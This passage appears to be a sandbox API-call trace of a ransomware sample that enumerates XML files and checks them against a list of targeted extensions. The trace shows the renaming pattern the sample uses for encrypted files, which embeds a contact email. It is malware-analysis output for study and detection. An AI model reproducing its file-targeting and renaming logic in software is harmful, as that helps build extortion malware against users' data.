Shared\\ink\\ipscsy.xml") returned 61 [0131.287] lstrlenW (lpString=".1cd") returned 4 [0131.287] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.287] lstrlenW (lpString=".jpg") returned 4 [0131.287] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.287] lstrlenW (lpString=".doc") returned 4 [0131.288] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.288] lstrlenW (lpString=".docx") returned 5 [0131.288] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0131.288] lstrlenW (lpString=".pdf") returned 4 [0131.288] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.288] lstrlenW (lpString=".xls") returned 4 [0131.288] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.288] lstrlenW (lpString=".xlsx") returned 5 [0131.288] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0131.288] lstrlenW (lpString=".ppt") returned 4 [0131.288] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.288] lstrlenW (lpString=".zip") returned 4 [0131.288] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.288] lstrlenW (lpString=".rar") returned 4 [0131.288] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.288] lstrlenW (lpString=".bz2") returned 4 [0131.288] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.288] lstrlenW (lpString=".7z") returned 3 [0131.288] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.288] lstrlenW (lpString=".dbf") returned 4 [0131.288] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.288] lstrlenW (lpString=".1cd") returned 4 [0131.288] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0131.288] lstrlenW (lpString=".jpg") returned 4 [0131.288] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.288] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.288] lstrlenW (lpString="ipshrv.xml") returned 10 [0131.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.296] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2652) returned 1 [0131.296] CloseHandle (hObject=0x36c) returned 1 [0131.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0131.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.296] lstrlenW (lpString=".doc") returned 4 [0131.296] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.296] lstrlenW (lpString=".docx") returned 5 [0131.296] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0131.296] lstrlenW (lpString=".pdf") returned 4 [0131.296] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.296] lstrlenW (lpString=".xls") returned 4 [0131.296] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.296] lstrlenW (lpString=".xlsx") returned 5 [0131.296] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0131.296] lstrlenW (lpString=".ppt") returned 4 [0131.296] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.296] lstrlenW (lpString=".zip") returned 4 [0131.296] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.296] lstrlenW (lpString=".rar") returned 4 [0131.296] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.297] lstrlenW (lpString=".bz2") returned 4 [0131.297] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.297] lstrlenW (lpString=".7z") returned 3 [0131.297] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.297] lstrlenW (lpString=".dbf") returned 4 [0131.297] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.297] lstrlenW (lpString=".1cd") returned 4 [0131.297] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.297] lstrlenW (lpString=".jpg") returned 4 [0131.297] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.297] lstrlenW (lpString=".doc") returned 4 [0131.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.297] lstrlenW (lpString=".docx") returned 5 [0131.297] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0131.297] lstrlenW (lpString=".pdf") returned 4 [0131.297] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.297] lstrlenW (lpString=".xls") returned 4 [0131.297] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.297] lstrlenW (lpString=".xlsx") returned 5 [0131.297] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0131.297] lstrlenW (lpString=".ppt") returned 4 [0131.297] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.297] lstrlenW (lpString=".zip") returned 4 [0131.297] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.297] lstrlenW (lpString=".rar") returned 4 [0131.298] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.298] lstrlenW (lpString=".bz2") returned 4 [0131.298] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.298] lstrlenW (lpString=".7z") returned 3 [0131.298] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.298] lstrlenW (lpString=".dbf") returned 4 [0131.298] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.298] lstrlenW (lpString=".1cd") returned 4 [0131.298] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0131.298] lstrlenW (lpString=".jpg") returned 4 [0131.298] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.298] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.298] lstrlenW (lpString="ipsjpn.xml") returned 10 [0131.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.299] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2522) returned 1 [0131.299] CloseHandle (hObject=0x36c) returned 1 [0131.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0131.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.299] lstrlenW (lpString=".doc") returned 4 [0131.299] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.299] lstrlenW (lpString=".docx") returned 5 [0131.299] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0131.299] lstrlenW (lpString=".pdf") returned 4 [0131.299] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.299] lstrlenW (lpString=".xls") returned 4 [0131.299] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.299] lstrlenW (lpString=".xlsx") returned 5 [0131.299] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0131.299] lstrlenW (lpString=".ppt") returned 4 [0131.299] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.299] lstrlenW (lpString=".zip") returned 4 [0131.299] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.300] lstrlenW (lpString=".rar") returned 4 [0131.300] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.300] lstrlenW (lpString=".bz2") returned 4 [0131.300] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.300] lstrlenW (lpString=".7z") returned 3 [0131.300] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.300] lstrlenW (lpString=".dbf") returned 4 [0131.300] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.300] lstrlenW (lpString=".1cd") returned 4 [0131.300] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.300] lstrlenW (lpString=".jpg") returned 4 [0131.300] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.300] lstrlenW (lpString=".doc") returned 4 [0131.300] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.300] lstrlenW (lpString=".docx") returned 5 [0131.300] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0131.300] lstrlenW (lpString=".pdf") returned 4 [0131.300] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.300] lstrlenW (lpString=".xls") returned 4 [0131.300] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.300] lstrlenW (lpString=".xlsx") returned 5 [0131.300] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0131.300] lstrlenW (lpString=".ppt") returned 4 [0131.300] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.301] lstrlenW (lpString=".zip") returned 4 [0131.301] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.301] lstrlenW (lpString=".rar") returned 4 [0131.301] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.301] lstrlenW (lpString=".bz2") returned 4 [0131.301] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.301] lstrlenW (lpString=".7z") returned 3 [0131.301] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.301] lstrlenW (lpString=".dbf") returned 4 [0131.301] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.301] lstrlenW (lpString=".1cd") returned 4 [0131.301] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0131.301] lstrlenW (lpString=".jpg") returned 4 [0131.301] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.301] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.301] lstrlenW (lpString="ipskor.xml") returned 10 [0131.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.302] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2568) returned 1 [0131.302] CloseHandle (hObject=0x36c) returned 1 [0131.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0131.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.302] lstrlenW (lpString=".doc") returned 4 [0131.302] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.302] lstrlenW (lpString=".docx") returned 5 [0131.302] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0131.302] lstrlenW (lpString=".pdf") returned 4 [0131.302] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.302] lstrlenW (lpString=".xls") returned 4 [0131.302] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.302] lstrlenW (lpString=".xlsx") returned 5 [0131.302] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0131.302] lstrlenW (lpString=".ppt") returned 4 [0131.302] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.302] lstrlenW (lpString=".zip") returned 4 [0131.302] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.302] lstrlenW (lpString=".rar") returned 4 [0131.302] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.302] lstrlenW (lpString=".bz2") returned 4 [0131.303] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString=".7z") returned 3 [0131.303] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.303] lstrlenW (lpString=".dbf") returned 4 [0131.303] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.303] lstrlenW (lpString=".1cd") returned 4 [0131.303] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.303] lstrlenW (lpString=".jpg") returned 4 [0131.303] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.303] lstrlenW (lpString=".doc") returned 4 [0131.303] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString=".docx") returned 5 [0131.303] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0131.303] lstrlenW (lpString=".pdf") returned 4 [0131.303] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString=".xls") returned 4 [0131.303] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString=".xlsx") returned 5 [0131.303] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0131.303] lstrlenW (lpString=".ppt") returned 4 [0131.303] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.303] lstrlenW (lpString=".zip") returned 4 [0131.303] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.303] lstrlenW (lpString=".rar") returned 4 [0131.303] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString=".bz2") returned 4 [0131.303] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.303] lstrlenW (lpString=".7z") returned 3 [0131.303] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.304] lstrlenW (lpString=".dbf") returned 4 [0131.304] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.304] lstrlenW (lpString=".1cd") returned 4 [0131.304] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0131.304] lstrlenW (lpString=".jpg") returned 4 [0131.304] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.306] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.306] lstrlenW (lpString="ipsnld.xml") returned 10 [0131.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.306] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2626) returned 1 [0131.306] CloseHandle (hObject=0x36c) returned 1 [0131.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0131.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.307] lstrlenW (lpString=".doc") returned 4 [0131.307] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.307] lstrlenW (lpString=".docx") returned 5 [0131.307] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0131.307] lstrlenW (lpString=".pdf") returned 4 [0131.307] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.307] lstrlenW (lpString=".xls") returned 4 [0131.307] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.307] lstrlenW (lpString=".xlsx") returned 5 [0131.307] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0131.307] lstrlenW (lpString=".ppt") returned 4 [0131.307] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.307] lstrlenW (lpString=".zip") returned 4 [0131.307] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.307] lstrlenW (lpString=".rar") returned 4 [0131.307] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.307] lstrlenW (lpString=".bz2") returned 4 [0131.307] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.307] lstrlenW (lpString=".7z") returned 3 [0131.307] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.307] lstrlenW (lpString=".dbf") returned 4 [0131.307] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.307] lstrlenW (lpString=".1cd") returned 4 [0131.307] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.307] lstrlenW (lpString=".jpg") returned 4 [0131.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.308] lstrlenW (lpString=".doc") returned 4 [0131.308] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0131.308] lstrlenW (lpString=".docx") returned 5 [0131.308] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0131.308] lstrlenW (lpString=".pdf") returned 4 [0131.308] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0131.308] lstrlenW (lpString=".xls") returned 4 [0131.308] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0131.308] lstrlenW (lpString=".xlsx") returned 5 [0131.308] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0131.308] lstrlenW (lpString=".ppt") returned 4 [0131.308] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0131.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.308] lstrlenW (lpString=".zip") returned 4 [0131.308] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0131.308] lstrlenW (lpString=".rar") returned 4 [0131.308] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0131.308] lstrlenW (lpString=".bz2") returned 4 [0131.308] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0131.308] lstrlenW (lpString=".7z") returned 3 [0131.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0131.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.308] lstrlenW (lpString=".dbf") returned 4 [0131.308] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0131.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.308] lstrlenW (lpString=".1cd") returned 4 [0131.308] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0131.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml") returned 61 [0131.308] lstrlenW (lpString=".jpg") returned 4 [0131.308] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0131.309] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0131.309] lstrlenW (lpString="ipsnor.xml") returned 10 [0131.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.309] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2580) returned 1 [0131.309] CloseHandle (hObject=0x36c) returned 1 [0131.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0131.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft 